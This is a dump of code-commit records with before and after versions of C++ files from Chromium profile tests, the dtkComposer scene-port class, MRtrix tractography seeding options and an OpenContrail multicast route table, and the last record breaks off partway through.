terminated\n  \/\/ by OnUnblockOnProfileCreation when the profile is created.\n  ui_test_utils::RunMessageLoop();\n\n  ASSERT_EQ(cache.GetNumberOfProfiles(), 2U);\n\n  \/\/ Delete all profiles.\n  FilePath profile_path1 = cache.GetPathOfProfileAtIndex(0);\n  FilePath profile_path2 = cache.GetPathOfProfileAtIndex(1);\n  EXPECT_FALSE(profile_path1.empty());\n  EXPECT_FALSE(profile_path2.empty());\n  profile_manager->ScheduleProfileForDeletion(profile_path1);\n  profile_manager->ScheduleProfileForDeletion(profile_path2);\n\n  \/\/ Spin things so deletion can take place.\n  ui_test_utils::RunAllPendingInMessageLoop();\n\n  \/\/ Make sure a new profile was created automatically.\n  EXPECT_EQ(cache.GetNumberOfProfiles(), 1U);\n  FilePath new_profile_path = cache.GetPathOfProfileAtIndex(0);\n  EXPECT_NE(new_profile_path, profile_path1);\n  EXPECT_NE(new_profile_path, profile_path2);\n\n  \/\/ Make sure that last used profile preference is set correctly.\n  Profile* last_used = ProfileManager::GetLastUsedProfile();\n  EXPECT_EQ(new_profile_path, last_used->GetPath());\n}\n#endif  \/\/ OS_MACOSX\n\n\/\/ Ensure that README file is created for a new profile.\n\/\/ TODO(ivankr): this test probably should belong to profile_browsertest.cc.\nIN_PROC_BROWSER_TEST_F(ProfileManagerBrowserTest, ProfileReadmeCreated) {\n  ProfileManager* profile_manager = g_browser_process->profile_manager();\n\n  \/\/ No delay before README creation.\n  ProfileImpl::create_readme_delay_ms = 0;\n\n  \/\/ Create an additional profile.\n  FilePath new_path = profile_manager->GenerateNextProfileDirectoryPath();\n  profile_manager->CreateProfileAsync(new_path,\n                                      base::Bind(&OnUnblockOnProfileCreation));\n\n  \/\/ Spin to allow profile creation to take place, loop is terminated\n  \/\/ by OnUnblockOnProfileCreation when the profile is created.\n  ui_test_utils::RunMessageLoop();\n\n  \/\/ Verify that README exists.\n  EXPECT_TRUE(file_util::PathExists(new_path.Append(chrome::kReadmeFilename)));\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* dtkComposerScenePort.cpp --- \n * \n * Author: Julien Wintz\n * Copyright (C) 2008-2011 - Julien Wintz, Inria.\n * Created: Fri Feb  3 13:59:41 2012 (+0100)\n * Version: $Id$\n * Last-Updated: Fri May  4 09:42:27 2012 (+0200)\n *           By: Julien Wintz\n *     Update #: 131\n *\/\n\n\/* Commentary: \n * \n *\/\n\n\/* Change log:\n * \n *\/\n\n#include \"dtkComposerSceneNode.h\"\n#include \"dtkComposerSceneNodeControl.h\"\n#include \"dtkComposerScenePort.h\"\n\nclass dtkComposerScenePortPrivate\n{\npublic:\n    dtkComposerScenePort::Type type;\n\npublic:\n    dtkComposerSceneNode *node;\n\npublic:\n    int loop;\n\npublic:\n    QGraphicsEllipseItem *ellipse;\n    QGraphicsTextItem *label;\n};\n\ndtkComposerScenePort::dtkComposerScenePort(Type type, dtkComposerSceneNode *parent) : QGraphicsItem(parent), d(new dtkComposerScenePortPrivate)\n{\n    d->type = type;\n    d->node = parent;\n    d->loop = 0;\n\n    d->ellipse = new QGraphicsEllipseItem(this);\n    d->ellipse->setPen(QPen(Qt::darkGray, 1));\n    d->ellipse->setBrush(Qt::lightGray);\n    d->ellipse->setRect(0, 0, 10, 10);\n\n    d->label = new QGraphicsTextItem(this);\n#if defined(Q_WS_MAC)\n    d->label->setFont(QFont(\"Lucida Grande\", 11));\n#else\n    d->label->setFont(QFont(\"Lucida Grande\", 9));\n#endif\n    d->label->setDefaultTextColor(Qt::white);\n    \n    this->setFlags(QGraphicsItem::ItemIsSelectable);\n    this->setZValue(1);\n}\n\ndtkComposerScenePort::dtkComposerScenePort(Type type, const QString& label, dtkComposerSceneNode *parent) : QGraphicsItem(parent), d(new dtkComposerScenePortPrivate)\n{\n    d->type = type;\n    d->node = parent;\n    d->loop = 0;\n\n    d->ellipse = new QGraphicsEllipseItem(this);\n    d->ellipse->setPen(QPen(Qt::darkGray, 1));\n    d->ellipse->setBrush(Qt::lightGray);\n    d->ellipse->setRect(0, 0, 10, 10);\n\n    d->label = new QGraphicsTextItem(this);\n#if defined(Q_WS_MAC)\n    d->label->setFont(QFont(\"Lucida Grande\", 11));\n#else\n    d->label->setFont(QFont(\"Lucida Grande\", 9));\n#endif\n    d->label->setDefaultTextColor(Qt::white);\n    \n    this->setLabel(label);\n    this->setFlags(QGraphicsItem::ItemIsSelectable);\n    this->setZValue(1);\n}\n\ndtkComposerScenePort::~dtkComposerScenePort(void)\n{\n    delete d;\n\n    d = NULL;\n}\n\ndtkComposerScenePort::Type dtkComposerScenePort::type(void)\n{\n    return d->type;\n}\n\ndtkComposerSceneNode *dtkComposerScenePort::node(void)\n{\n    return d->node;\n}\n\ndtkComposerSceneNode *dtkComposerScenePort::owner(void)\n{\n    if (dynamic_cast<dtkComposerSceneNodeControl *>(d->node->parent()))\n        return d->node->parent();\n\n    return d->node;\n}\n\nint dtkComposerScenePort::loop(void)\n{\n    return d->loop;\n}\n\nQString dtkComposerScenePort::label(void)\n{\n    return d->label->toPlainText();\n}\n\nvoid dtkComposerScenePort::setLoop(int loop)\n{\n    d->loop = loop;\n}\n\nvoid dtkComposerScenePort::setLabel(const QString& label)\n{\n    d->label->setPlainText(label);\n    \n    QFontMetricsF fm(d->label->font());\n\n    if(d->type == Input)\n        d->label->setPos(d->ellipse->pos() + QPointF(d->ellipse->boundingRect().width(), 0) - QPointF(0, fm.height()\/2.0));\n    else\n        d->label->setPos(d->ellipse->pos() - QPointF(7, 0) - QPointF(fm.width(label), fm.height()\/2.0));\n}\n\nQRectF dtkComposerScenePort::boundingRect(void) const\n{\n    return QRectF(0, 0, 10, 10);\n}\n\nvoid dtkComposerScenePort::paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget)\n{\n    Q_UNUSED(painter);\n    Q_UNUSED(option);\n    Q_UNUSED(widget);\n}\n<commit_msg>display loop ports in white<commit_after>\/* dtkComposerScenePort.cpp --- \n * \n * Author: Julien Wintz\n * Copyright (C) 2008-2011 - Julien Wintz, Inria.\n * Created: Fri Feb  3 13:59:41 2012 (+0100)\n * Version: $Id$\n * Last-Updated: mer. juin  6 16:53:47 2012 (+0200)\n *           By: Nicolas Niclausse\n *     Update #: 140\n *\/\n\n\/* Commentary: \n * \n *\/\n\n\/* Change log:\n * \n *\/\n\n#include \"dtkComposerSceneNode.h\"\n#include \"dtkComposerSceneNodeControl.h\"\n#include \"dtkComposerScenePort.h\"\n\nclass dtkComposerScenePortPrivate\n{\npublic:\n    dtkComposerScenePort::Type type;\n\npublic:\n    dtkComposerSceneNode *node;\n\npublic:\n    int loop;\n\npublic:\n    QGraphicsEllipseItem *ellipse;\n    QGraphicsTextItem *label;\n};\n\ndtkComposerScenePort::dtkComposerScenePort(Type type, dtkComposerSceneNode *parent) : QGraphicsItem(parent), d(new dtkComposerScenePortPrivate)\n{\n    d->type = type;\n    d->node = parent;\n    d->loop = 0;\n\n    d->ellipse = new QGraphicsEllipseItem(this);\n    d->ellipse->setPen(QPen(Qt::darkGray, 1));\n    d->ellipse->setBrush(Qt::lightGray);\n    d->ellipse->setRect(0, 0, 10, 10);\n\n    d->label = new QGraphicsTextItem(this);\n#if defined(Q_WS_MAC)\n    d->label->setFont(QFont(\"Lucida Grande\", 11));\n#else\n    d->label->setFont(QFont(\"Lucida Grande\", 9));\n#endif\n    d->label->setDefaultTextColor(Qt::white);\n    \n    this->setFlags(QGraphicsItem::ItemIsSelectable);\n    this->setZValue(1);\n}\n\ndtkComposerScenePort::dtkComposerScenePort(Type type, const QString& label, dtkComposerSceneNode *parent) : QGraphicsItem(parent), d(new dtkComposerScenePortPrivate)\n{\n    d->type = type;\n    d->node = parent;\n    d->loop = 0;\n\n    d->ellipse = new QGraphicsEllipseItem(this);\n    d->ellipse->setPen(QPen(Qt::darkGray, 1));\n    d->ellipse->setBrush(Qt::lightGray);\n    d->ellipse->setRect(0, 0, 10, 10);\n\n    d->label = new QGraphicsTextItem(this);\n#if defined(Q_WS_MAC)\n    d->label->setFont(QFont(\"Lucida Grande\", 11));\n#else\n    d->label->setFont(QFont(\"Lucida Grande\", 9));\n#endif\n    d->label->setDefaultTextColor(Qt::white);\n    \n    this->setLabel(label);\n    this->setFlags(QGraphicsItem::ItemIsSelectable);\n    this->setZValue(1);\n}\n\ndtkComposerScenePort::~dtkComposerScenePort(void)\n{\n    delete d;\n\n    d = NULL;\n}\n\ndtkComposerScenePort::Type dtkComposerScenePort::type(void)\n{\n    return d->type;\n}\n\ndtkComposerSceneNode *dtkComposerScenePort::node(void)\n{\n    return d->node;\n}\n\ndtkComposerSceneNode *dtkComposerScenePort::owner(void)\n{\n    if (dynamic_cast<dtkComposerSceneNodeControl *>(d->node->parent()))\n        return d->node->parent();\n\n    return d->node;\n}\n\nint dtkComposerScenePort::loop(void)\n{\n    return d->loop;\n}\n\nQString dtkComposerScenePort::label(void)\n{\n    return d->label->toPlainText();\n}\n\nvoid dtkComposerScenePort::setLoop(int loop)\n{\n    d->loop = loop;\n    if (loop > 0)\n        d->ellipse->setBrush(Qt::white);\n}\n\nvoid dtkComposerScenePort::setLabel(const QString& label)\n{\n    d->label->setPlainText(label);\n    \n    QFontMetricsF fm(d->label->font());\n\n    if(d->type == Input)\n        d->label->setPos(d->ellipse->pos() + QPointF(d->ellipse->boundingRect().width(), 0) - QPointF(0, fm.height()\/2.0));\n    else\n        d->label->setPos(d->ellipse->pos() - QPointF(7, 0) - QPointF(fm.width(label), fm.height()\/2.0));\n}\n\nQRectF dtkComposerScenePort::boundingRect(void) const\n{\n    return QRectF(0, 0, 10, 10);\n}\n\nvoid dtkComposerScenePort::paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget)\n{\n    Q_UNUSED(painter);\n    Q_UNUSED(option);\n    Q_UNUSED(widget);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n    Copyright 2011 Brain Research Institute, Melbourne, Australia\n\n    Written by Robert E. Smith, 2012.\n\n    This file is part of MRtrix.\n\n    MRtrix is free software: you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    MRtrix is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with MRtrix.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n *\/\n\n#include \"dwi\/tractography\/properties.h\"\n#include \"dwi\/tractography\/seeding\/seeding.h\"\n\n\n\n\nnamespace MR\n{\n  namespace DWI\n  {\n    namespace Tractography\n    {\n      namespace Seeding\n      {\n\n\n\n      using namespace App;\n\n      const OptionGroup SeedOption = OptionGroup (\"Tractography seeding options\")\n\n      + Option (\"seed_sphere\", \"spherical seed as four comma-separated values (XYZ position and radius\").allow_multiple()\n        + Argument (\"spec\").type_sequence_float()\n\n      + Option (\"seed_mask\", \"seed mask for random placement of seed points\").allow_multiple()\n        + Argument (\"image\").type_image_in()\n\n      + Option (\"seed_random_per_voxel\", \"seed a fixed number of streamlines per voxel in the mask; random placement of seeds in each voxel\").allow_multiple()\n        + Argument (\"image\").type_image_in()\n        + Argument (\"num_per_voxel\").type_integer (1, 1, std::numeric_limits<int>::max())\n\n      + Option (\"seed_grid_per_voxel\", \"seed a fixed number of streamlines per voxel in the mask; place seeds on a 3D mesh grid\").allow_multiple()\n        + Argument (\"image\").type_image_in()\n        + Argument (\"grid_size\").type_integer (1, 1, std::numeric_limits<int>::max())\n\n      + Option (\"seed_rejection\", \"seed from an image using rejection sampling (higher values = more probable to seed from)\").allow_multiple()\n        + Argument (\"image\").type_image_in()\n\n      + Option (\"seed_gmwmi\", \"seed from the grey matter - white matter interface (only valid if using ACT framework)\").allow_multiple()\n        + Argument (\"seed_image\").type_image_in()\n\n      + Option (\"seed_dynamic\", \"determine seed points dynamically using the SIFT model (must NOT provide any other seed)\") \/\/ Don't allow multiple\n        + Argument (\"fod_image\").type_image_in();\n\n\n\n\n      void load_tracking_seeds (Properties& properties)\n      {\n\n        List& list (properties.seeds);\n\n        App::Options opt = get_options (\"seed_sphere\");\n        for (size_t i = 0; i < opt.size(); ++i) {\n          Sphere* seed = new Sphere (opt[i][0], list.get_rng());\n          list.add (seed);\n        }\n\n        opt = get_options (\"seed_mask\");\n        for (size_t i = 0; i < opt.size(); ++i) {\n          Default* seed = new Default (opt[i][0], list.get_rng());\n          list.add (seed);\n        }\n\n        opt = get_options (\"seed_random_per_voxel\");\n        for (size_t i = 0; i < opt.size(); ++i) {\n          Random_per_voxel* seed = new Random_per_voxel (opt[i][0], list.get_rng(), opt[i][1]);\n          list.add (seed);\n        }\n\n        opt = get_options (\"seed_grid_per_voxel\");\n        for (size_t i = 0; i < opt.size(); ++i) {\n          Grid_per_voxel* seed = new Grid_per_voxel (opt[i][0], list.get_rng(), opt[i][1]);\n          list.add (seed);\n        }\n\n        opt = get_options (\"seed_rejection\");\n        for (size_t i = 0; i < opt.size(); ++i) {\n          Rejection* seed = new Rejection (opt[i][0], list.get_rng());\n          list.add (seed);\n        }\n\n        opt = get_options (\"seed_gmwmi\");\n        if (opt.size()) {\n          App::Options opt_act = get_options (\"act\");\n          if (!opt_act.size())\n            throw Exception (\"Cannot perform GM-WM Interface seeding without ACT segmented tissue image\");\n          for (size_t i = 0; i < opt.size(); ++i) {\n            GMWMI* seed = new GMWMI (opt[i][0], list.get_rng(), str(opt_act[0][0]));\n            list.add (seed);\n          }\n        }\n\n        \/\/ Can't instantiate the dynamic seeder here; internal FMLS segmenter has to use the same Directions::Set as TrackMapperDixel\n        opt = get_options (\"seed_dynamic\");\n        if (opt.size()) {\n          if (list.num_seeds())\n            throw Exception (\"If performing dynamic streamline seeding, cannot specify any other type of seed!\");\n          properties[\"seed_dynamic\"] = str(opt[0][0]);\n        } else if (!list.num_seeds()) {\n          throw Exception (\"Must provide at least one source of streamline seeds!\");\n        }\n\n      }\n\n\n\n\n\n\n      }\n    }\n  }\n}\n\n\n<commit_msg>For tckgen, renamed -seed_mask option to -seed_image, to hopefully reduce confusion with -mask option<commit_after>\/*\n    Copyright 2011 Brain Research Institute, Melbourne, Australia\n\n    Written by Robert E. Smith, 2012.\n\n    This file is part of MRtrix.\n\n    MRtrix is free software: you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    MRtrix is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with MRtrix.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n *\/\n\n#include \"dwi\/tractography\/properties.h\"\n#include \"dwi\/tractography\/seeding\/seeding.h\"\n\n\n\n\nnamespace MR\n{\n  namespace DWI\n  {\n    namespace Tractography\n    {\n      namespace Seeding\n      {\n\n\n\n      using namespace App;\n\n      const OptionGroup SeedOption = OptionGroup (\"Tractography seeding options\")\n\n      + Option (\"seed_sphere\", \"spherical seed as four comma-separated values (XYZ position and radius\").allow_multiple()\n        + Argument (\"spec\").type_sequence_float()\n\n      + Option (\"seed_image\", \"seed streamlines entirely at random within a mask image \"\n                              \"(this is the same behaviour as the streamline seeding in MRtrix 0.2)\").allow_multiple()\n        + Argument (\"image\").type_image_in()\n\n      + Option (\"seed_random_per_voxel\", \"seed a fixed number of streamlines per voxel in a mask image; random placement of seeds in each voxel\").allow_multiple()\n        + Argument (\"image\").type_image_in()\n        + Argument (\"num_per_voxel\").type_integer (1, 1, std::numeric_limits<int>::max())\n\n      + Option (\"seed_grid_per_voxel\", \"seed a fixed number of streamlines per voxel in a mask image; place seeds on a 3D mesh grid\").allow_multiple()\n        + Argument (\"image\").type_image_in()\n        + Argument (\"grid_size\").type_integer (1, 1, std::numeric_limits<int>::max())\n\n      + Option (\"seed_rejection\", \"seed from an image using rejection sampling (higher values = more probable to seed from)\").allow_multiple()\n        + Argument (\"image\").type_image_in()\n\n      + Option (\"seed_gmwmi\", \"seed from the grey matter - white matter interface (only valid if using ACT framework)\").allow_multiple()\n        + Argument (\"seed_image\").type_image_in()\n\n      + Option (\"seed_dynamic\", \"determine seed points dynamically using the SIFT model (must NOT provide any other seeding mechanism)\") \/\/ Don't allow multiple\n        + Argument (\"fod_image\").type_image_in();\n\n\n\n\n      void load_tracking_seeds (Properties& properties)\n      {\n\n        List& list (properties.seeds);\n\n        App::Options opt = get_options (\"seed_sphere\");\n        for (size_t i = 0; i < opt.size(); ++i) {\n          Sphere* seed = new Sphere (opt[i][0], list.get_rng());\n          list.add (seed);\n        }\n\n        opt = get_options (\"seed_image\");\n        for (size_t i = 0; i < opt.size(); ++i) {\n          Default* seed = new Default (opt[i][0], list.get_rng());\n          list.add (seed);\n        }\n\n        opt = get_options (\"seed_random_per_voxel\");\n        for (size_t i = 0; i < opt.size(); ++i) {\n          Random_per_voxel* seed = new Random_per_voxel (opt[i][0], list.get_rng(), opt[i][1]);\n          list.add (seed);\n        }\n\n        opt = get_options (\"seed_grid_per_voxel\");\n        for (size_t i = 0; i < opt.size(); ++i) {\n          Grid_per_voxel* seed = new Grid_per_voxel (opt[i][0], list.get_rng(), opt[i][1]);\n          list.add (seed);\n        }\n\n        opt = get_options (\"seed_rejection\");\n        for (size_t i = 0; i < opt.size(); ++i) {\n          Rejection* seed = new Rejection (opt[i][0], list.get_rng());\n          list.add (seed);\n        }\n\n        opt = get_options (\"seed_gmwmi\");\n        if (opt.size()) {\n          App::Options opt_act = get_options (\"act\");\n          if (!opt_act.size())\n            throw Exception (\"Cannot perform GM-WM Interface seeding without ACT segmented tissue image\");\n          for (size_t i = 0; i < opt.size(); ++i) {\n            GMWMI* seed = new GMWMI (opt[i][0], list.get_rng(), str(opt_act[0][0]));\n            list.add (seed);\n          }\n        }\n\n        \/\/ Can't instantiate the dynamic seeder here; internal FMLS segmenter has to use the same Directions::Set as TrackMapperDixel\n        opt = get_options (\"seed_dynamic\");\n        if (opt.size()) {\n          if (list.num_seeds())\n            throw Exception (\"If performing dynamic streamline seeding, cannot specify any other type of seed!\");\n          properties[\"seed_dynamic\"] = str(opt[0][0]);\n        } else if (!list.num_seeds()) {\n          throw Exception (\"Must provide at least one source of streamline seeds!\");\n        }\n\n      }\n\n\n\n\n\n\n      }\n    }\n  }\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2013 Juniper Networks, Inc. All rights reserved.\n *\/\n\n#include <boost\/uuid\/uuid_io.hpp>\n\n#include <cmn\/agent_cmn.h>\n#include <route\/route.h>\n\n#include <oper\/route_common.h>\n#include <oper\/vrf.h>\n#include <oper\/tunnel_nh.h>\n#include <oper\/mpls.h>\n#include <oper\/vxlan.h>\n#include <oper\/mirror_table.h>\n#include <oper\/multicast.h>\n#include <controller\/controller_export.h>\n#include <controller\/controller_peer.h>\n#include <controller\/controller_init.h>\n#include <oper\/agent_sandesh.h>\n\nusing namespace std;\nusing namespace boost::asio;\n\nstatic void MulticastTableEnqueue(Agent *agent, DBRequest *req) {\n    AgentRouteTable *table = agent->fabric_inet4_multicast_table();\n    if (table) {\n        table->Enqueue(req);\n    }\n}\n\nstatic void MulticastTableProcess(Agent *agent, const string &vrf_name,\n                                  DBRequest &req) {\n    AgentRouteTable *table = \n        agent->vrf_table()->GetInet4MulticastRouteTable(vrf_name);\n    if (table) {\n        table->Process(req);\n    }\n}\n\nDBTableBase *Inet4MulticastAgentRouteTable::CreateTable(DB *db, \n                                                      const std::string &name) {\n    AgentRouteTable *table = new Inet4MulticastAgentRouteTable(db, name);\n    table->Init();\n    \/\/table->InitRouteTable(db, table, name, Agent::INET4_MULTICAST);\n    return table;\n}\n\nvoid \nInet4MulticastAgentRouteTable::AddMulticastRoute(const string &vrf_name, \n                                                 const string &vn_name,\n                                                 const Ip4Address &src_addr,\n                                                 const Ip4Address &grp_addr,\n                                                 ComponentNHKeyList\n                                                 &component_nh_key_list) {\n    DBRequest nh_req;\n    NextHopKey *nh_key;\n    CompositeNHData *nh_data;\n\n    nh_key = new CompositeNHKey(Composite::L3COMP, true, component_nh_key_list,\n                                vrf_name);\n    nh_req.oper = DBRequest::DB_ENTRY_ADD_CHANGE;\n    nh_req.key.reset(nh_key);\n    nh_data = new CompositeNHData();\n    nh_req.data.reset(nh_data);\n\n    DBRequest req;\n    req.oper = DBRequest::DB_ENTRY_ADD_CHANGE;\n    Inet4MulticastRouteKey *rt_key = new Inet4MulticastRouteKey(vrf_name, \n                                                                grp_addr, \n                                                                src_addr);\n    MulticastRoute *data = new MulticastRoute(vn_name,\n                                              MplsTable::kInvalidLabel,\n                                              VxLanTable::kInvalidvxlan_id,\n                                              TunnelType::AllType(),\n                                              nh_req, Composite::L3COMP);\n    req.key.reset(rt_key);\n    req.data.reset(data);\n    MulticastTableEnqueue(Agent::GetInstance(), &req);\n} \n\nvoid \nInet4MulticastAgentRouteTable::AddVHostRecvRoute(const string &vm_vrf,\n                                                 const string &interface_name,\n                                                 const Ip4Address &addr,\n                                                 bool policy) \n{\n    DBRequest req;\n\n    req.oper = DBRequest::DB_ENTRY_ADD_CHANGE;\n    Inet4MulticastRouteKey *rt_key = new Inet4MulticastRouteKey(vm_vrf, addr);\n    req.key.reset(rt_key);\n    InetInterfaceKey intf_key(Agent::GetInstance()->\n                                     vhost_interface_name());\n    ReceiveRoute *data = \n        new ReceiveRoute(intf_key, MplsTable::kInvalidLabel,\n                         TunnelType::AllType(), policy,\n                         Agent::GetInstance()->fabric_vn_name());\n    \/\/data->SetMulticast(true);\n    req.data.reset(data);\n    MulticastTableEnqueue(Agent::GetInstance(), &req);\n}\n\nvoid \nInet4MulticastAgentRouteTable::DeleteMulticastRoute(const string &vrf_name, \n                                                    const Ip4Address &src_addr,\n                                                    const Ip4Address &grp_addr) \n{\n    DBRequest req;\n\n    req.oper = DBRequest::DB_ENTRY_DELETE;\n    Inet4MulticastRouteKey *rt_key = new Inet4MulticastRouteKey(vrf_name, \n                                                                grp_addr, \n                                                                src_addr);\n\n    req.key.reset(rt_key);\n    req.data.reset(NULL);\n    MulticastTableEnqueue(Agent::GetInstance(), &req);\n}\n\nvoid Inet4MulticastAgentRouteTable::Delete(const string &vrf_name,\n                                           const Ip4Address &src_addr,\n                                           const Ip4Address &grp_addr) {\n    DBRequest req(DBRequest::DB_ENTRY_DELETE);\n    req.key.reset(new Inet4MulticastRouteKey(vrf_name, grp_addr, src_addr));\n    req.data.reset(NULL);\n    MulticastTableProcess(Agent::GetInstance(), vrf_name, req);\n}\n\nAgentRoute *\nInet4MulticastRouteKey::AllocRouteEntry(VrfEntry *vrf, bool is_multicast) const \n{\n    Inet4MulticastRouteEntry * entry = new Inet4MulticastRouteEntry(vrf, dip_,\n                                                                    sip_);\n    return static_cast<AgentRoute *>(entry);\n}\n\nAgentRouteKey *Inet4MulticastRouteKey::Clone() const {\n    return (new Inet4MulticastRouteKey(vrf_name_, dip_, sip_));\n}\n\nstring Inet4MulticastRouteKey::ToString() const {\n    ostringstream str;\n    str << \"Group:\";\n    str << dip_.to_string();\n    str << \" Src:\";\n    str << sip_.to_string();\n    return str.str();\n}\n\nstring Inet4MulticastRouteEntry::ToString() const {\n    ostringstream str;\n    str << \"Group:\";\n    str << dst_addr_.to_string();\n    str << \" Src:\";\n    str << src_addr_.to_string();\n    return str.str();\n}\n\nint Inet4MulticastRouteEntry::CompareTo(const Route &rhs) const {\n    const Inet4MulticastRouteEntry &a = \n        static_cast<const Inet4MulticastRouteEntry &>(rhs);\n\n    if (src_addr_ < a.src_addr_)\n        return -1;\n\n    if (src_addr_ > a.src_addr_)\n        return 1;\n \n    if (dst_addr_ < a.dst_addr_)\n        return -1;\n\n    if (dst_addr_ > a.dst_addr_)\n        return 1;\n\n    return 0;\n}\n\nDBEntryBase::KeyPtr Inet4MulticastRouteEntry::GetDBRequestKey() const {\n    Inet4MulticastRouteKey *key = \n        new Inet4MulticastRouteKey(vrf()->GetName(), dst_addr_, \n                                   src_addr_);\n    return DBEntryBase::KeyPtr(key);\n}\n\nvoid Inet4MulticastRouteEntry::SetKey(const DBRequestKey *key) {\n    const Inet4MulticastRouteKey *k = \n        static_cast<const Inet4MulticastRouteKey *>(key);\n    SetVrf(Agent::GetInstance()->vrf_table()->FindVrfFromName(k->vrf_name()));\n    Ip4Address grp(k->dest_ip_addr());\n    Ip4Address src(k->src_ip_addr());\n    set_dest_ip_addr(grp);\n    set_src_ip_addr(src);\n}\n\nbool Inet4MulticastRouteEntry::DBEntrySandesh(Sandesh *sresp, bool stale) const {\n    Inet4McRouteResp *resp = static_cast<Inet4McRouteResp *>(sresp);\n\n    RouteMcSandeshData data;\n    data.set_src(src_ip_addr().to_string());\n    data.set_grp(dest_ip_addr().to_string());\n    MulticastGroupObject *mc_obj = MulticastHandler::GetInstance()->\n        FindGroupObject(vrf()->GetName(), dest_ip_addr());\n    Agent *agent = (static_cast<AgentRouteTable *>(get_table()))->agent();\n    if (!stale || (mc_obj->peer_identifier() != agent->controller()->\n                   multicast_sequence_number())) {\n        GetActiveNextHop()->SetNHSandeshData(data.nh);\n    }\n\n    std::vector<RouteMcSandeshData> &list = \n        const_cast<std::vector<RouteMcSandeshData>&>(resp->get_route_list());\n    list.push_back(data);\n    return true;\n}\n\nvoid Inet4McRouteReq::HandleRequest() const {\n    VrfEntry *vrf = \n        Agent::GetInstance()->vrf_table()->FindVrfFromId(get_vrf_index());\n    if (!vrf) {\n        ErrorResp *resp = new ErrorResp();\n        resp->set_context(context());\n        resp->Response();\n        return;\n    }\n\n    AgentSandeshPtr sand(new AgentInet4McRtSandesh(vrf, context(), \"\",\n                                                   get_stale()));\n    sand->DoSandesh(sand);\n}\n\nAgentSandeshPtr Inet4MulticastAgentRouteTable::GetAgentSandesh\n(const AgentSandeshArguments *args, const std::string &context) {\n    return AgentSandeshPtr(new AgentInet4McRtSandesh(vrf_entry(), context, \"\",\n                                                     false));\n}\n<commit_msg>NULL check.<commit_after>\/*\n * Copyright (c) 2013 Juniper Networks, Inc. All rights reserved.\n *\/\n\n#include <boost\/uuid\/uuid_io.hpp>\n\n#include <cmn\/agent_cmn.h>\n#include <route\/route.h>\n\n#include <oper\/route_common.h>\n#include <oper\/vrf.h>\n#include <oper\/tunnel_nh.h>\n#include <oper\/mpls.h>\n#include <oper\/vxlan.h>\n#include <oper\/mirror_table.h>\n#include <oper\/multicast.h>\n#include <controller\/controller_export.h>\n#include <controller\/controller_peer.h>\n#include <controller\/controller_init.h>\n#include <oper\/agent_sandesh.h>\n\nusing namespace std;\nusing namespace boost::asio;\n\nstatic void MulticastTableEnqueue(Agent *agent, DBRequest *req) {\n    AgentRouteTable *table = agent->fabric_inet4_multicast_table();\n    if (table) {\n        table->Enqueue(req);\n    }\n}\n\nstatic void MulticastTableProcess(Agent *agent, const string &vrf_name,\n                                  DBRequest &req) {\n    AgentRouteTable *table = \n        agent->vrf_table()->GetInet4MulticastRouteTable(vrf_name);\n    if (table) {\n        table->Process(req);\n    }\n}\n\nDBTableBase *Inet4MulticastAgentRouteTable::CreateTable(DB *db, \n                                                      const std::string &name) {\n    AgentRouteTable *table = new Inet4MulticastAgentRouteTable(db, name);\n    table->Init();\n    \/\/table->InitRouteTable(db, table, name, Agent::INET4_MULTICAST);\n    return table;\n}\n\nvoid \nInet4MulticastAgentRouteTable::AddMulticastRoute(const string &vrf_name, \n                                                 const string &vn_name,\n                                                 const Ip4Address &src_addr,\n                                                 const Ip4Address &grp_addr,\n                                                 ComponentNHKeyList\n                                                 &component_nh_key_list) {\n    DBRequest nh_req;\n    NextHopKey *nh_key;\n    CompositeNHData *nh_data;\n\n    nh_key = new CompositeNHKey(Composite::L3COMP, true, component_nh_key_list,\n                                vrf_name);\n    nh_req.oper = DBRequest::DB_ENTRY_ADD_CHANGE;\n    nh_req.key.reset(nh_key);\n    nh_data = new CompositeNHData();\n    nh_req.data.reset(nh_data);\n\n    DBRequest req;\n    req.oper = DBRequest::DB_ENTRY_ADD_CHANGE;\n    Inet4MulticastRouteKey *rt_key = new Inet4MulticastRouteKey(vrf_name, \n                                                                grp_addr, \n                                                                src_addr);\n    MulticastRoute *data = new MulticastRoute(vn_name,\n                                              MplsTable::kInvalidLabel,\n                                              VxLanTable::kInvalidvxlan_id,\n                                              TunnelType::AllType(),\n                                              nh_req, Composite::L3COMP);\n    req.key.reset(rt_key);\n    req.data.reset(data);\n    MulticastTableEnqueue(Agent::GetInstance(), &req);\n} \n\nvoid \nInet4MulticastAgentRouteTable::AddVHostRecvRoute(const string &vm_vrf,\n                                                 const string &interface_name,\n                                                 const Ip4Address &addr,\n                                                 bool policy) \n{\n    DBRequest req;\n\n    req.oper = DBRequest::DB_ENTRY_ADD_CHANGE;\n    Inet4MulticastRouteKey *rt_key = new Inet4MulticastRouteKey(vm_vrf, addr);\n    req.key.reset(rt_key);\n    InetInterfaceKey intf_key(Agent::GetInstance()->\n                                     vhost_interface_name());\n    ReceiveRoute *data = \n        new ReceiveRoute(intf_key, MplsTable::kInvalidLabel,\n                         TunnelType::AllType(), policy,\n                         Agent::GetInstance()->fabric_vn_name());\n    \/\/data->SetMulticast(true);\n    req.data.reset(data);\n    MulticastTableEnqueue(Agent::GetInstance(), &req);\n}\n\nvoid \nInet4MulticastAgentRouteTable::DeleteMulticastRoute(const string &vrf_name, \n                                                    const Ip4Address &src_addr,\n                                                    const Ip4Address &grp_addr) \n{\n    DBRequest req;\n\n    req.oper = 